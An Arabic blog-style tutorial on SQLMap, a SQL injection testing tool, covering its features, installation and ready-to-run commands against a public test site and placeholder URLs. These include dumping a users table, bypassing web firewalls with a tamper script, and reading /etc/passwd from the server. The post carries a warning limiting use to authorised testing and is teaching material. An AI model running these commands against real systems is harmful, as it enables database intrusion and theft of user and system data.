بقلم: محمد المختار الحسن البكاي
SQLMap هي أداة مفتوحة المصدر وقوية تُستخدم في اختبار اختراق قواعد البيانات، وتحديدًا لاكتشاف واستغلال ثغرات SQL Injection. تساعد الأداة محترفي أمن المعلومات في فحص التطبيقات التي تعتمد على قواعد بيانات SQL، وكشف الثغرات التي تسمح بتنفيذ أوامر غير مصرح بها.
يُعتبر هذا النوع من الثغرات من أخطر أنواع الثغرات، لأنه يمكّن المهاجم من قراءة أو تعديل أو حذف البيانات من قاعدة البيانات، وقد يصل به الأمر إلى التحكم الكامل في النظام أو الوصول إلى لوحة الإدارة.
⚙️ مميزات SQLMap:
- دعم أنواع متعددة من قواعد البيانات (MySQL, PostgreSQL, Oracle, MSSQL, SQLite وغيرها).
- إمكانية استخراج الجداول والبيانات بسهولة.
- تجاوز الجدران النارية (WAF Bypass).
- محاولة تسجيل الدخول باستخدام الحسابات المكتشفة.
- رفع أو تحميل ملفات عبر ثغرات RCE.
- سرعة وكفاءة عالية في الفحص.
🔧 تثبيت SQLMap:
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python2 sqlmap.py
🚀 استخدام SQLMap:
لاستخدام الأداة، يجب أن نحدد الرابط الذي يحتوي على باراميتر عرضة لحقن SQL. على سبيل المثال:
python2 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1"
الرابط المستخدم أعلاه هو لموقع اختباري من موقع vulnweb.com، ويمكنك تجربته بأمان.
🧪 بعض الاستخدامات الشائعة:
1. استخراج قاعدة البيانات:
python2 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
2. تحديد الجداول في قاعدة محددة:
python2 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables
3. استخراج البيانات من جدول معين:
python2 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump
🛡️ التحذير القانوني:
هذه الأداة مخصصة للاستخدام الأخلاقي فقط، ويُحظر استخدامها على مواقع أو أنظمة دون تصريح رسمي. أي استخدام غير قانوني يعرض صاحبه للمساءلة الجنائية.
📘 أوامر إضافية مفيدة:
4. الكشف التلقائي عن ثغرات SQL:
python2 sqlmap.py -u "http://example.com/page.php?id=1" --batch
5. تجاوز جدار حماية WAF:
python2 sqlmap.py -u "http://example.com/page.php?id=1" --tamper=space2comment
6. اختبار الإدخال اليدوي للباراميترات:
python2 sqlmap.py -u "http://example.com/page.php" --data="id=1"
7. استخدام Cookie في الفحص:
python2 sqlmap.py -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=123"
8. استخدام User-Agent مخصص:
python2 sqlmap.py -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
9. التحقق من الاتصال بقاعدة البيانات فقط:
python2 sqlmap.py -u "http://example.com/page.php?id=1" --is-dba
10. تحميل ملفات من السيرفر (إن كانت الثغرة تدعم ذلك):
python2 sqlmap.py -u "http://example.com/page.php?id=1" --file-read="/etc/passwd"
بهذا نكون قد غطينا أساسيات SQLMap، بدءًا من تثبيتها، وحتى استخدامها في اكتشاف واستغلال الثغرات، مع أمثلة عملية وقابلة للتجربة.
إرسال تعليق